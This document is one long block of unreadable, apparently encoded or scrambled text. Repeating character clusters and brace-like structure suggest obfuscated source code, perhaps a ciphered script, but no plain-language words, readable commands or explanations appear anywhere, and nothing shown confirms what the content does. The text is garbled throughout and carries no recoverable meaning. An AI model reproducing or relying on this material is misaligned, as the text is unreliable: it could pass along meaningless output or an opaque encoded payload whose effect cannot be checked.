X^GYCY^P ]U[IXWQCAQQAIKXV]V PP9H9^WX
]UZlGZUP]E]AP@TR^\BG]U[IXWQCAQQ9ZUs_TUZF^WX
]UZlGZUP]H9XJRP]KB[TE]AP@TR^\BG_R
@lGEYP E]AP@TR^\BG]U[IXWQCAQQ9AVGFA]UR_@V999N9U IlXQZ^VEW DClI_R
@lGEYP]U[IXWQCAQQ m  DDlT[Z ED
9ZUU IlXQZ^VEW DClIZRG
\KYQ\R AXGAIKXV]V PPH9XJRP]KB[T_TUZF_TUZFDDlT[Z ED]U[IXWQCAQQ9AVGFA]UR_@V999N9ZUU IlXQZ^VEW DClIIVGX
ZYJ@UCQ\^B W]U[IXWQCAQQAVGFA]UR_@V9B]AQUYBWIADAFUR_@V9ZUs_R
@lGEYP]U[IXWQCAQQB]AQUYBWIADAFGAFV9YECU_RGWR]F__9XUBGRCGV^^[RFUR_@V9QXQ VEEUE]F__9ZUsDDlT[Z ED]U[IXWQCAQQs_R
@lGEYP]U[IXWQCAQQH9CRAGZR_AVWF]WR]PJ99XUBGRCGV^^[RFGAFV9QXQ VEEUEsUZ_VCVA^@]U[IXWQCAQQ9ZUQXQ VEEUEUR_@VQXQ VEEUE]F__9ZUsE]AP@TR^\BG
]U[IXWQCAQQKRVQKRUYECU_RGWRs_TUZF
]U[IXWQCAQQ9N9ZU_R
@lGEYP_R
@lGEYPHE^Z\KEBCTERBUB  \VQBTVWU\E^Z\KEBCTERBUB9XJRP]KB[T_R
@lGEYP_TUZFDDlT[Z ED ]U[IXWQCAQQ9AVGFA]UR_@V9N9XZDB@W]TUR_@V9JW]\XZlW\JBlCUR_@V9999lP_E]AP@TR^\BG
AIKXV]V PP9U\A[RIG^AJQA[RIG^AJQA[RIG^AJQAH9999XZDB@W]TIJER FCWFJ\^^WX
]UZlGZUP]_TUZF 9ZUXZDB@W]TUR_@VH9JW]\XZlW\JBlCUR_@V9RRRQ]_sE]AP@TR^\BG XZDB@W]TDDlT[Z ED9ZURRRQ]_UR_@VH999@J
WlGGB
^9D[Z_V@J
WlGGB
^lP_H9GUXRW\BBQABs_TUZFRRRQ]__TUZFAIKXV]V PP@J
WlGGB
^9ZUGUXRW\BBQABUR_@VOOGUXRW\BBQABQAVRX9@J
WlGGB
^GUXRW\BBQAB99N9AVPFA@ZEV^ZWW_VDRAV99sUU_F@[RRRQ]_9ZUDDlT[Z EDE]AP@TR^\BGsU@J]PRRRQ]_9sUP_\@VRRRQ]_9ZU@J
WlGGB
^lP_JW]\XZlW\JBlC@J
WlGGB
^9NV_@VH9JW]\XZlW\JBlCs_R
@lGEYPXZDB@W]TAIKXV]V PP9N9ZUJW]\XZlW\JBlCUR_@VJW]\XZlW\JBlClP_QAVRX9D_[][\JlFKFCVGRUXZDB@W]TJC@Al@]RB
R YlW I\JC@Al@]9XZDB@W]TUR_@V9N9N9ZUXZDB@W]TUR_@VH9XJRP]KB[TE]AP@TR^\BG_R
@lGEYPE]AP@TR^\BG ]U[IXWQCAQQ9AVGFA]UR_@V9N9ZUJW]\XZlW\JBlCUR_@VOOJW]\XZlW\JBlClP_H9999XJRP]KB[T_R
@lGEYP_R
@lGEYP
E]AP@TR^\BG ]U[IXWQCAQQ9D_[][\JlFKFCVGRUXZDB@W]T9AVGFA]UR_@V9N9sP\^CRPG[VRCP\]GA\_U_\DTARC[9999ZUQXQ VEEUE]F__sDDlT[Z EDXZDB@W]TQXQ VEEUE9JAZY[]Z_[E_R]IA^^ITD] WVXZDB@W]T]U[IXWQCAQQ99ZUJAZY[]Z_[EXUBGRCGV^^[RFB]AQUYBWIADAFH9ZUsDDlT[Z ED ]U[IXWQCAQQQD^BPU^^^C \V]U[IXWQCAQQ 9999A
EW@_
C
[W\[]U[IXWQCAQQDDlT[Z ED DDlT[Z ED 



  9ZU_R]IA^^ITD] WV]U[IXWQCAQQA
EW@_
C
[W\[H9JAZY[]Z_[E_R]IA^^ITD] WVXZDB@W]T]U[IXWQCAQQ9ZUJAZY[]Z_[EH9D_[][\JlFKFCVGRUA
EW@_
C
[W\[9NV_@VH^] C_J@[EQTECZl_F^A_I^] C_J@[EQ9ZU_R]IA^^ITD] WVA
EW@_
C
[W\[]U[IXWQCAQQQB]BW^J@BXXW
RA
EW@_
C
[W\[]U[IXWQCAQQH9V[_^ZIRPY^@]U[IXWQCAQQYECU_RGWR9N9ZUsE]AP@TR^\BG ]U[IXWQCAQQH9V[_^ZIRPY^@]U[IXWQCAQQYECU_RGWR9N99N9N9N9ZUJAZY[]Z_[EB]AQUYBWIADAFU IlXQZ^VEW DClIH9ZUsDDlT[Z ED  ]U[IXWQCAQQQD^BPU^^^C \V]U[IXWQCAQQ  9ZUQB]BW^J@BXXW
RXZDB@W]T]U[IXWQCAQQH9JAZY[]Z_[EGAFV9D_[][\JlFKFCVGRUXZDB@W]T9N9N999ZUJAZY[]Z_[EH9dcrAP[ZEVgZG_V	[VA^ZGZR]AV@\_EVA9RX\_I[@\XW^
 Z^@UX
KF^RX\_I[@\XW^RX\_I[@\XW^	RX\_I[@\XW^9ZUsDDlT[Z ED  ]U[IXWQCAQQZ]Gs_TUZF
]U[IXWQCAQQlP_H9WWKIDPG\
PsE]AP@TR^\BG
]U[IXWQCAQQ9ZUE]AP@TR^\BGWWKIDPG\
POODDlT[Z EDYECU_RGWRWWKIDPG\
PYECU_RGWRH9ZU_R
@lGEYPYECU_RGWRV[_^ZIRPY^@]U[IXWQCAQQYECU_RGWR9V_@VZUXUBGRCGV^^[RFD_[][\JlFKFCVGRU]U[IXWQCAQQ9N9F]@VGWWKIDPG\
PDT@CTARJ\^^AT\l_ADT@CTARJDT@CTARJ	DT@CTARJ9N9CAVWZPRGVP\]GARERAZR]GU\AdccRTVZ@G999ZUsDDlT[Z ED  ]U[IXWQCAQQH9V[_^ZIRPY^@]U[IXWQCAQQYECU_RGWR9N9XJRP]KB[TDDlT[Z EDE]AP@TR^\BG _R
@lGEYP ]U[IXWQCAQQ9D_[][\JlFKFCVGRUXZDB@W]T9AVGFA]UR_@V9N9sP_VRA@GRGPRP[VGAFV]U[IXWQCAQQ9VPGZTRYYUAAZUR_@V9ZUlP_

H9C@KlQT \RWs_R
@lGEYP
]U[IXWQCAQQ9VPGZTRYYUAAZ_R
@lGEYPC@KlQT \RW_TUZF C@KlQT \RWlP__TUZFC@KlQT \RWDDlT[Z EDAIKXV]V PP999999NV_@VH9CVIAXRKBVEAlDDlT[Z ED E]AP@TR^\BG s[R@[lUZ_V_TUZF]U[IXWQCAQQ	UR_@V9ZUE]AP@TR^\BGCVIAXRKBVEAlCVIAXRKBVEAlVPGZTRYYUAAZCVIAXRKBVEAlDDlT[Z EDAIKXV]V PP9V_@VH9UCBK[ @KsDDlT[Z ED
]U[IXWQCAQQ9ZUUCBK[ @KlP_H9@l_Y@QXsE]AP@TR^\BG
]U[IXWQCAQQUR_@V]F__9lAGsE]AP@TR^\BG
]U[IXWQCAQQUR_@V]F__lP_   J^UGTEEU 
WE XQW
AJ^UGTEEU9999VPGZTRYYUAAZDDlT[Z ED@l_Y@QXE]AP@TR^\BGlAG@l_Y@QX_R
@lGEYP AIKXV]V PP lAG_R
@lGEYP AIKXV]V PPlP_99N9N999N9ZUVPGZTRYYUAAZH9XJRP]KB[TE]AP@TR^\BG 
_R
@lGEYPE]AP@TR^\BG ]U[IXWQCAQQ9ZUU IlXQZ^VEW DClI[UC@PWZ^l^XT
FYX]]U[IXWQCAQQGAFV9999ZUDDlT[Z EDYECU_RGWRH99ZRVZ]KYQ CV_R
@lGEYP E]AP@TR^\BG s[R@[lUZ_V_TUZF]U[IXWQCAQQ	UR_@V9ZU_TUZFZRVZ]KYQ CVZRVZ]KYQ CVZRVZ]KYQ CVE]AP@TR^\BGAIKXV]V PPZRVZ]KYQ CV_R
@lGEYPYECU_RGWRH9XJRP]KB[TDDlT[Z ED 
E]AP@TR^\BG _R
@lGEYP ]U[IXWQCAQQ999AVGFA]UR_@V99N9999@lJZX  VARIJER FCWFJ\^^WX
]UZlGZUP]_R
@lGEYP 9ZU@lJZX  VARUR_@Vs_TUZF@lJZX  VARYECU_RGWRE]AP@TR^\BG YECU_RGWRH9ZU_R]IA^^ITD] WV@lJZX  VAR]U[IXWQCAQQH9ZUs_R
@lGEYP  ]U[IXWQCAQQB]AQUYBWIADAFQD^BPU^^^C \V]U[IXWQCAQQ 
 99ZUB]AQUYBWIADAFQB]BW^J@BXXW
R@lJZX  VAR]U[IXWQCAQQH9D_[][\JlFKFCVGRU@lJZX  VAR9NV_@VH99s_TUZF]U[IXWQCAQQYECU_RGWR9D_[][\JlFKFCVGRU@lJZX  VAR9N9N9NV_@VH9ZU@lJZX  VARUR_@VD_[][\JlFKFCVGRU@lJZX  VAR9sDDlT[Z ED]U[IXWQCAQQYECU_RGWR999N9@FQ@GAZ]T^RGP[99B[B_Y[KCBlWR]U[IXWQCAQQ9NV_@VZUXUBGRCGV^^[RFH9D_[][\JlFKFCVGRU]U[IXWQCAQQ9N9AVGFA]UR_@V9999N999B[B_Y[KCBlWR]U[IXWQCAQQ9E[VEEQGFXUA\[^P]U[IXWQCAQQ9QD^BPU^^^C \V]U[IXWQCAQQ 

99ZUU IlXQZ^VEW DClI[UC@PWZ^l^XT
FYX]]U[IXWQCAQQUR_@V9AVGFA]GAFV9N9UF]PGZ\]W@CKGDUEJY ]U[IXWQCAQQPXAQTVX@99H9JWF\WA\R__C[Co]9ZUE]AP@TR^\BGPXAQTVX@PXAQTVX@_TUZFPXAQTVX@_R
@lGEYPUR_@VZRG
\KYQ\R AXGPXAQTVX@JWF\WA\R__PXAQTVX@9ZUsE]AP@TR^\BG]U[IXWQCAQQH9AVRPGZEVVKGV]@Z\]9IAV
E lE_
TlllIAV
E lE_IAV
E lE_	IAV
E lE_9XQFGlTT
 XZlsE]AP@TR^\BG
]U[IXWQCAQQ9ZU_TUZFXQFGlTT
 XZlQYDlT@]@EWXY@ZT[YT\FYXQFGlTT
 XZlJWF\WA\R__AVGFA]9N9ZU_Bl[
X^GYCY^P ]U[IXWQCAQQJWF\WA\R__H9XX_IGI^[l J_sDDlT[Z ED
]U[IXWQCAQQ9ZU_R
@lGEYPXX_IGI^[l J_QYDlT@]@EWXY@ZT[YT\FYXX_IGI^[l J_JWF\WA\R__s_R
@lGEYP]U[IXWQCAQQJWF\WA\R__9F]@VGXX_IGI^[l J_9N9B[B_Y[KCBlWR]U[IXWQCAQQ9N9UF]PGZ\]XDB]WPl_
X
9H9ZU_R
@lGEYP DDlT[Z EDUDT@_KVCRFI DBJBJ][AVGFA]GAFV999ZU_TUZF DDlT[Z EDOO_TUZF DDlT[Z EDAVGFA]GAFV9AJ C]XWZPT I[\^VlFA_9AJ C]XWZPT I_R
@lGEYPAJ C]XWZPT IUR_@V	_R
@lGEYP
_R
@lGEYP_TUZF m 9WA]V @Z VTDG
DDlT[Z EDAJ C]XWZPT IRAARJ_R
@lGEYP
_R
@lGEYPUR_@V_TUZFE]AP@TR^\BG RAARJ_TUZF_TUZF 9ZUDDlT[Z ED _TUZF  Z@lDClVAA\AWA]V @Z VTDG
H9ZUE]AP@TR^\BG_R
@lGEYP_R
@lGEYP9WA]V @Z VTDG
_R
@lGEYPAJ C]XWZPT IRAARJDDlT[Z ED
m
_R
@lGEYPUR_@VDDlT[Z EDE]AP@TR^\BGRAARJ_R
@lGEYPDDlT[Z ED 9ZU_R
@lGEYPE]AP@TR^\BG  Z@lDClVAA\AWA]V @Z VTDG
AVGFA]UR_@V9N9DWWQ]YU]_JV\ZZ]GDClAV^\GVlAVGAZVEVlAV@C\]@VlP\WVWA]V @Z VTDG
9AVGFA]DWWQ]YU]_JV\Z m DWWQ]YU]_JV\Z
99N9UF]PGZ\]lAF_ZGX lDD\P[A^]@P_WFUDBQRVVG_F@J9H9E_]EFCQDDlT[Z ED
 _TUZF VVG_F@J9U\AVRP[9RAARJ999E]AP@TR^\BGE_]EFCQ_TUZF9_TUZF
E_]EFCQDDlT[Z ED9DDlT[Z EDE_]EFCQE]AP@TR^\BG9R@[KAX EWBC999H9ZUE]AP@TR^\BG]@P_WFUDBQRQAVRX9]@P_WFUDBQR_R
@lGEYP
[KAX EWBCo]]@P_WFUDBQR9N9AVGFA]]@P_WFUDBQR9N9UF]PGZ\]B[B_Y[KCBlWRBGWYVCPXG9H999ZU_R
@lGEYPDDlT[Z ED H9AVGFA]s\CPRP[VlZ]ER_ZWRGVBGWYVCPXGGAFVUR_@V9N9dcq_\PXeRAZRGZ\]@	\UU_Z]VV]EV_\CV99999XAY
TPVBE]AP@TR^\BG_TUZF s\CPRP[VlTVGl@GRGF@UR_@V	UR_@V99AVGFA]DDlT[Z EDXAY
TPVBV^CGJXAY
TPVBhDDlT[Z EDn9N9UF]PGZ\]\ZVFJWG^Y_ AV QD
I]K]U[IXWQCAQQ@YB^_Ul[UUV_F^WB[URIEFFI
ZCI999H9ZU_TUZF ]U[IXWQCAQQK K_R
@lGEYP
H99ZU_Bl[
X^GYCY^P ]U[IXWQCAQQ@YB^_Ul[UUV_F^H9XJRP]KB[TWB[URIEFFI
ZCI_R
@lGEYPDDlT[Z ED ]U[IXWQCAQQ9AVGFA]UR_@V9N9B[B_Y[KCBlWR]U[IXWQCAQQ9AVGFA]_TUZF@YB^_Ul[UUV_F^999N9RRRQ]_sE]AP@TR^\BG ]U[IXWQCAQQE]AP@TR^\BG9ZURRRQ]_UR_@VH9XJRP]KB[TWB[URIEFFI
ZCI_TUZFE]AP@TR^\BG]U[IXWQCAQQ999AVGFA]UR_@V9N99ZU_R
@lGEYPDDlT[Z EDsU_\PXRRRQ]_|pxlvk9WA]V @Z VTDG
sDDlT[Z ED
RRRQ]_@YB^_Ul[UUV_F^9ZU_R
@lGEYP_TUZFsU_\PXRRRQ]_|pxlf}9sUP_\@VRRRQ]_9ZUWA]V @Z VTDG
UR_@VOO@YB^_Ul[UUV_F^WA]V @Z VTDG
DDlT[Z ED@YB^_Ul[UUV_F^H9XJRP]KB[TWB[URIEFFI
ZCI_TUZF_TUZF]U[IXWQCAQQ9AVGFA]UR_@V9N9AVGFA]WA]V @Z VTDG
999N999UF]PGZ\]lGITRYXIlZ]Z9H9GAJH999ZU_R
@lGEYP_TUZFOODDlT[Z ED_R
@lGEYPH9IE\EPBXTGIB]F__9999AVGFA]9N9ZUTVGlGAR]@ZV]GDDlT[Z ED AVGFA]9ZUTVGlGAR]@ZV]GDDlT[Z EDAVGFA]9@VGlGAR]@ZV]GE]AP@TR^\BG
9IE\EPBXTGIB]F__9ZUE]AP@TR^\BGDDlT[Z EDWV_VGVlGAR]@ZV]GDDlT[Z ED9PP@WYWA_R
@lGEYP_R
@lGEYP@GAZ]TRZWW
ZYXT_\DQE]AP@TR^\BG	9ZUPP@WYWA_R
@lGEYP
DDlT[Z EDF@VA]R^VlVKZ@G@PP@WYWAH9@VGlGAR]@ZV]G_TUZF 9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z EDTDKQ[VTBBQIBB[[GCBA
JVEB@\GWGP@@RBGBB[[GCBA
JV9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]IE\EPBXTGIB\AWIDJPGUD9H\X]RUKKWK

[VBJVl DX\GY\X]RUK9ZUAUBEA@R_
YUDDlT[Z EDAVGFA]9GAJH9ZUDDlT[Z ED
_R
@lGEYPOODDlT[Z ED
E]AP@TR^\BGH9AVGFA]9N9YUPWGW\\I@C@GAZ]TRZWW
ZYXT_\DQDDlT[Z ED9ZUYUPWGW\\I@CF@VA]R^VlVKZ@G@YUPWGW\\I@C@GAZ]TRZWW
ZYXT_\DQDDlT[Z EDH999AVGFA]99N9ZUYUPWGW\\I@CH9__GlX_Z@lE]AP@TR^\BG\AWIDJPGUD\AWIDJPGUD	UPXKV]QYDE] 
I[@9[XQZBJ\J_PGJT[PB FCRB@JEGDQIGU__GlX_Z@l9ZU9[XQZBJ\J_PGJV^CGJ[XQZBJ\J_PGJF@VAl_\TZ]Z@@VG[XQZBJ\J_PGJF@VAlV^RZ_9[XQZBJ\J_PGJF@VAlV^RZ_[XQZBJ\J_PGJF@VAl_\TZ]sWB^C^J\YDZ]P
_R
@lGEYP 9H9YUPWGW\\I@C@GAZ]T[XQZBJ\J_PGJF@VAl_\TZ]9N9N9ZUYUPWGW\\I@CF@VA]R^VlVKZ@G@YUPWGW\\I@CH9999FIVWVAl @_F@VA]R^VlVKZ@G@YUPWGW\\I@C9IY
[\EKK\JV\TQIP_ U^[RIR
9ZUE]AP@TR^\BG_R
@lGEYPH9_R
@lGEYPIY
[\EKK\JV\FIVWVAl @_9N9X[RZVlID
UT\BTZXYDVE]AP@TR^\BGYUPWGW\\I@C_TUZF
9X[RZVlID
UT\BTZXYDV_R
@lGEYPIY
[\EKK\JV\DDlT[Z ED
999AVGFA]9N9^QFZIBR
\WTTBQI__FE[D@C@\C 9ZUGAFVH9YUPWGW\\I@C9U\AFCTVT@PGl@GlBTVFCTVT@PGl@GlBTVmFCTVT@PGl@GlBTVH9[RIG^AJQA^QFZIBR
\WTTBh_R
@lGEYP ^QFZIBR
\WTTBnTQIP_ U^[RIR
m 9ZUF@VA]R^VlVKZ@G@[RIG^AJQAH9999YUPWGW\\I@C[RIG^AJQA999QAVRX9N99N9ZUYUPWGW\\I@CH9XJRP]KB[T_TUZF_R
@lGEYP
99AVGFA]9N9UAR^VC\Z]GVA99N999IY
[\EKK\JV\TQIP_ U^[RIR
m9999ZU_TUZF_TUZF
WVUZ]VWE]AP@TR^\BG
_TUZFrq`crg{E]AP@TR^\BG
H9AVBFZAVl\]PVrq`crg{E]AP@TR^\BG
999N9CTEUAP QRY

YUPWGW\\I@CsWB^C^J\YDZ]P
_R
@lGEYP 9QXQE
A[P Q\[UDUR_@V9ZU_R
@lGEYPDDlT[Z ED
H9QXQE
A[P Q\[UD_TUZF
RAARJ9E]AP@TR^\BG
YUPWGW\\I@C99_R
@lGEYP
 IY
[\EKK\JV\99DDlT[Z ED
CTEUAP QRY

9_R
@lGEYP_R
@lGEYP9_TUZF
YUPWGW\\I@C99ZUZ@lDClVAA\AQXQE
A[P Q\[UDH999XJRP]KB[T_R
@lGEYPQXQE
A[P Q\[UDTVGlVAA\AlP\WV	QXQE
A[P Q\[UDTVGlVAA\Al^V@@RTV9QXQE
A[P Q\[UDUR_@V9N9N99ZUQXQE
A[P Q\[UDHQ[Z^_l
[PT[AXQTQ[Z^_l  9DCWQZ@@VGt|qr`hE]AP@TR^\BG
nt|qr`hE]AP@TR^\BG
n	]F__9ZUDCWQOOE]AP@TR^\BG
 DCWQH9XJRP]KB[TE]AP@TR^\BG
E]AP@TR^\BG
9AVGFA]9N9|cPRP[VP\]UZTR@CVPGARGZ\99QF@PTPA]DDlT[Z ED

E]AP@TR^\BGDCl[R@[lCR@@D\AWIY
[\EKK\JV\	_TUZFIY
[\EKK\JV\9R[FAWTTJX^YE]AP@TR^\BG

E]AP@TR^\BGPFAAV]GlGZ^V_TUZF	T^WRGVE]AP@TR^\BG KlCG@F_ITJY[JYVT@KlCG@F_I 99X]JGJVG
QYDCWQZ]@VAGDCWQF@VA@RAARJ999_TUZF
YUPWGW\\I@C999E]AP@TR^\BG
 QF@PTPA]9_TUZFYUPWGW\\I@C9_TUZF
CTEUAP QRY

9_TUZFR[FAWTTJX^Y9DDlT[Z ED9_TUZFYUPWGW\\I@C9RAARJDDlT[Z EDDDlT[Z EDDDlT[Z ED_R
@lGEYP_TUZFE]AP@TR^\BG
E]AP@TR^\BG9ZUX]JGJVG
QYH9XJRP]KB[TDDlT[Z EDE]AP@TR^\BG9AVGFA]9N9QXQE
A[P Q\[UDZ]GDCWQZ]@VAGlZW9R RPlBRDCWQCAVUZKDDlT[Z ED]DJYFTYZ[XZKQQKWUDP[VF YF]DJYFTYZ[XZ9DCWQZ]@VAGDCWQF@VA^VGRRAARJ9_TUZFQXQE
A[P Q\[UD9DDlT[Z ED R RPlBR9_TUZFDDlT[Z ED RAARJE]AP@TR^\BGGAFV9RAARJDDlT[Z ED_TUZF_R
@lGEYP9999DCWQZ]@VAGDCWQF@VA^VGRRAARJ9DDlT[Z EDQXQE
A[P Q\[UD9_TUZF DCWQCAVUZKDDlT[Z ED9E]AP@TR^\BG9RAARJE]AP@TR^\BG_TUZF_TUZF9ZUDDlT[Z ED

E]AP@TR^\BGH9999P_VR]lF@VAlPRP[VQXQE
A[P Q\[UD9N9N9999ZUF@VA]R^VlVKZ@G@YUPWGW\\I@CH9XJRP]KB[T_R
@lGEYPDDlT[Z ED
9AVGFA]9N9FQlPFRB_A_R
@lGEYP

_TUZFTVGlF@VAlQJ_R
@lGEYPYUPWGW\\I@C	UR_@V9WP@D
Q\ICE
 UR_@V9ZUFQlPFRB_AV^CGJFQlPFRB_AzwH9ZU_TUZF

DDlT[Z EDH9WP@D
Q\ICE
 Q\\_F@VAlPR]FQlPFRB_A_TUZFW_BRBlKKVX PEZBQ TW_BRBl 999NV_@VZUZ@@VGFQlPFRB_APRC@E]AP@TR^\BG FQlPFRB_APRC@H9WP@D
Q\ICE
 V^CGJFQlPFRB_APRC@hE]AP@TR^\BGn9N9N9ZUWP@D
Q\ICE
 H9XJRP]KB[T_R
@lGEYP_R
@lGEYP9ZUQXQE
A[P Q\[UDH9ZU_TUZF

E]AP@TR^\BGWVUZ]VW_TUZFs_R
@lGEYPrq`crg{E]AP@TR^\BG
H9AVBFZAVl\]PVrq`crg{_R
@lGEYP
9N9999ZU_TUZF DDlT[Z EDsDClWV_VGVlF@VAQXQE
A[P Q\[UD9N9999AVGFA]9999N9AVWFPVQAR]P[Z]T999X[RZVlID
UT\BTZXYDV_R
@lGEYP YUPWGW\\I@C_R
@lGEYP
9X[RZVlID
UT\BTZXYDVE]AP@TR^\BGIY
[\EKK\JV\E]AP@TR^\BG
9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z EDTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH999NUZ]R__JH9U [AKZ GZDPVDTR]]F
_TUZF 9N9N999UF]PGZ\]@P[RVGP^X\QlJ^R A[ 
X@ G@\[ZV\W9H9GAJH99ZU_TUZF  [ 
X@ G@\[ZV\WOOCA\CVAGJlVKZ@G@[ 
X@ G@\[ZV\WDDlT[Z ED H9AVGFA][ 
X@ G@\[ZV\W9N99999YUPWGW\\I@C_TUZF DDlT[Z ED@GAZ]TRZWW
ZYXT_\DQ_TUZF 	999ZUYUPWGW\\I@CH9AVGFA][ 
X@ G@\[ZV\W99N999XPD@DARV@Pl@B_YUPWGW\\I@C9ZU_TUZF[ 
X@ G@\[ZV\WBFVAJlD[VAVXPD@DARUR_@VH9[ 
X@ G@\[ZV\WBFVAJlD[VAVDDlT[Z ED XPD@DAR9N999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999XJRP]KB[TDDlT[Z ED TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9^VATVR_VAGU\A~J`by`|}\CVARG\A@99N9AVGFA][ 
X@ G@\[ZV\W9999N9UF]PGZ\]KKZA TRRT\IWI TI ]FY9H9GAJH9PP@WYWA_R
@lGEYP _R
@lGEYP@GAZ]TRZWW
ZYXT_\DQ_TUZF 	9ZUPP@WYWAH9AVGFA]I TI ]FY9N9R]DRlKREP\RAARJ_R
@lGEYP _TUZF9U\AVRP[R]DRlKREP\R@XVJH9ZUZ@@VGI TI ]FYhXVJnDDlT[Z EDI TI ]FYhXVJn_R
@lGEYP 
_TUZFI TI ]FYhXVJnQVIU YZZH9VVZRG^JUEQ[VG_R
@lGEYPZ]GQVIU YZZhn9I TI ]FYhXVJn_TUZF
DDlT[Z EDVVZRG^JUEQ[VGI TI ]FYhXVJn9N9N99NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH999N9AVGFA]I TI ]FY999N99UF]PGZ\][]R_PPF_@@CBPDBT\VX\ Gl[YYUEPQ^Q]Rl[ITQ]IF\WFF9H9GAJH9YUPWGW\\I@CDDlT[Z ED DDlT[Z ED@GAZ]TRZWW
ZYXT_\DQ_TUZF 	999ZUYUPWGW\\I@CH9AVGFA]\ Gl[YYUEPQ^9999N9ZU_TUZF \ Gl[YYUEPQ^H9AVGFA]\ Gl[YYUEPQ^9N9999ZUZ@@VG\ Gl[YYUEPQ^h_TUZFnOO_TUZF\ Gl[YYUEPQ^h_TUZFnH9\ Gl[YYUEPQ^h_TUZFnRAARJ9999N9ZUE]AP@TR^\BGYUPWGW\\I@C\ Gl[YYUEPQ^hE]AP@TR^\BGnGAFVH9\ Gl[YYUEPQ^h_R
@lGEYPnhnYUPWGW\\I@C9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9AVGFA]\ Gl[YYUEPQ^V^TIDZ\\c{cl~ry|aleva`z|}\[FXXXUV^TIDZ\\
999N99UF]PGZ\]VUYFYBPAQFIDG^KZ9H9DD@U [DT@TPVlRAARJ99ZUWVUZ]VWE]AP@TR^\BG_R
@lGEYP E]AP@TR^\BGH9ZRJXFJYRV\@RAARJTVGl\CGZ\]_R
@lGEYPRAARJ9@VEBA@[@IWR
CDRAARJ9U\AVRP[ZRJXFJYRV\@R@QR@V]R^VH9ZUDDlT[Z EDQR@V]R^VOO_R
@lGEYPQR@V]R^V_TUZFUR_@VH9P\]GZ]FV9N9999UXDEY]ZVYQEDEDDlT[Z EDQR@V]R^V99ZUUXDEY]ZVYQEDEH9UXDEY]ZVYQEDEQR@V]R^V9N99ZUZ@@VG@VEBA@[@IWR
CDhUXDEY]ZVYQEDEnH9^VR@FAV@Z]T_VG\]U\AdcuVRGFAVWz^RTV99P\]GZ]FV9N9@VEBA@[@IWR
CDhUXDEY]ZVYQEDEnGAFV99]U[IXWQCAQQdclcftz}lwzaQR@V]R^V9ZU_R
@lGEYPQR@V]R^VH9ZUs_R
@lGEYP]U[IXWQCAQQH9DD@U [DT@TPVlhn]U[IXWQCAQQ9N9NV_@VH9^WX
]UZlGZUP]_R
@lGEYP]U[IXWQCAQQ9ZUsE]AP@TR^\BG^WX
]UZlGZUP]H9DD@U [DT@TPVlE]AP@TR^\BG DD@U [DT@TPVl_PGIJ_ @C l@G^WX
]UZlGZUP]RAARJE]AP@TR^\BG9N999N9N99N99ZUs_R
@lGEYP VAIWl[U_Q@W
EZPCT
@HKV\AWYDV[K  W\D
YlBRKV\AWYDV[K 
9B@T V[BB@C[Q\AJRU@DPJVAIWl[U_Q@W
EZPCT
@9ZUE]AP@TR^\BGB@T V[BH[T\AFVGGT_W
 
ZX[Q@][T\AFVGGT_W9U\AVRP[B@T V[BR@RTBJ@[[KG\CWZH9ZURTBJ@[[KG\CWZ@_WE[^XGUGJJQH9P\]GZ]FV9999N9BGWYVCPXGVAIWl[U_Q@W
EZPCT
@RTBJ@[[KG\CWZ9ZUs_TUZFBGWYVCPXGDDlT[Z ED_R
@lGEYPRTBJ@[[KG\CWZP\]@GR]GE]AP@TR^\BG_TUZFH9DD@U [DT@TPVlhnBGWYVCPXG9N9N9N9N99999ZUWVUZ]VWDDlT[Z EDE]AP@TR^\BG _TUZFH99UECP]VVWZQ]@GAZ]TTVGl\CGZ\]DDlT[Z ED9ICIQ\UF AU@GAZ]TTVGl\CGZ\]_TUZF9TUWAIB_PJFWVUZ]VWDDlT[Z ED
dclp|}gv}glwzaE]AP@TR^\BG	rq`crg{_TUZF
9QQD\EP\GCDDDlT[Z EDE]AP@TR^\BGRAARJUECP]VVWZQ]ICIQ\UF AU9U\AVRP[QQD\EP\GCDR@^WZFYV XKY]ZH9ZU_R
@lGEYP^WZFYV XKY]ZDDlT[Z EDUR_@VHWC \V]OK[FPDAWC \V]m 9P\]GZ]FV9N9CGIFW
Q
JZTUWAIB_PJF^WZFYV XKY]Z9ZUs_R
@lGEYP CGIFW
Q
JZH99^GWBDGWKB@C[Q\AJRU@DPJCGIFW
Q
JZ9ZUDDlT[Z ED^GWBDGWKH9U\AVRP[^GWBDGWKR@RTBJ@[[KG\CWZH9GP\JZAQGFCGIFW
Q
JZRTBJ@[[KG\CWZ9ZUsE]AP@TR^\BGGP\JZAQGF_R
@lGEYP_TUZFRTBJ@[[KG\CWZP\]@GR]GE]AP@TR^\BG_TUZFH9DD@U [DT@TPVlhnGP\JZAQGF9999N9N9N99^Z_Xl\X
]QCGIFW
Q
JZ_TUZF 9ZUsE]AP@TR^\BG^Z_Xl\X
]QH9DD@U [DT@TPVl_TUZF DD@U [DT@TPVl_PGIJ_ @C l@G^Z_Xl\X
]QRAARJ_R
@lGEYP9N9N999N9N9AVGFA]_R
@lGEYPDD@U [DT@TPVl9N9UF]PGZ\]l]ZZ@AZB[PXIITQXCIJJ[_Z_[I9H9ZU_R
@lGEYPIJJ[_Z_[IAVGFA]RAARJ9K
^^RPP^^EXERAARJ999U\AVRP[IJJ[_Z_[IR@WA]V @Z VTDG
H9ZUDDlT[Z EDWA]V @Z VTDG
OOWA]V @Z VTDG
OO_TUZFWA]V @Z VTDG
P\]GZ]FV9GAJHVI
F[AA^U
DTWG]_VI
F[AA^UVI
F[AA^U	VI
F[AA^U9ZUsDDlT[Z ED 
WA]V @Z VTDG
UR_@VP\]GZ]FV9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9P\]GZ]FV9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9P\]GZ]FV[@@
ZK]^Y[ZURlF
I[@@
ZK]^Y[9N9K
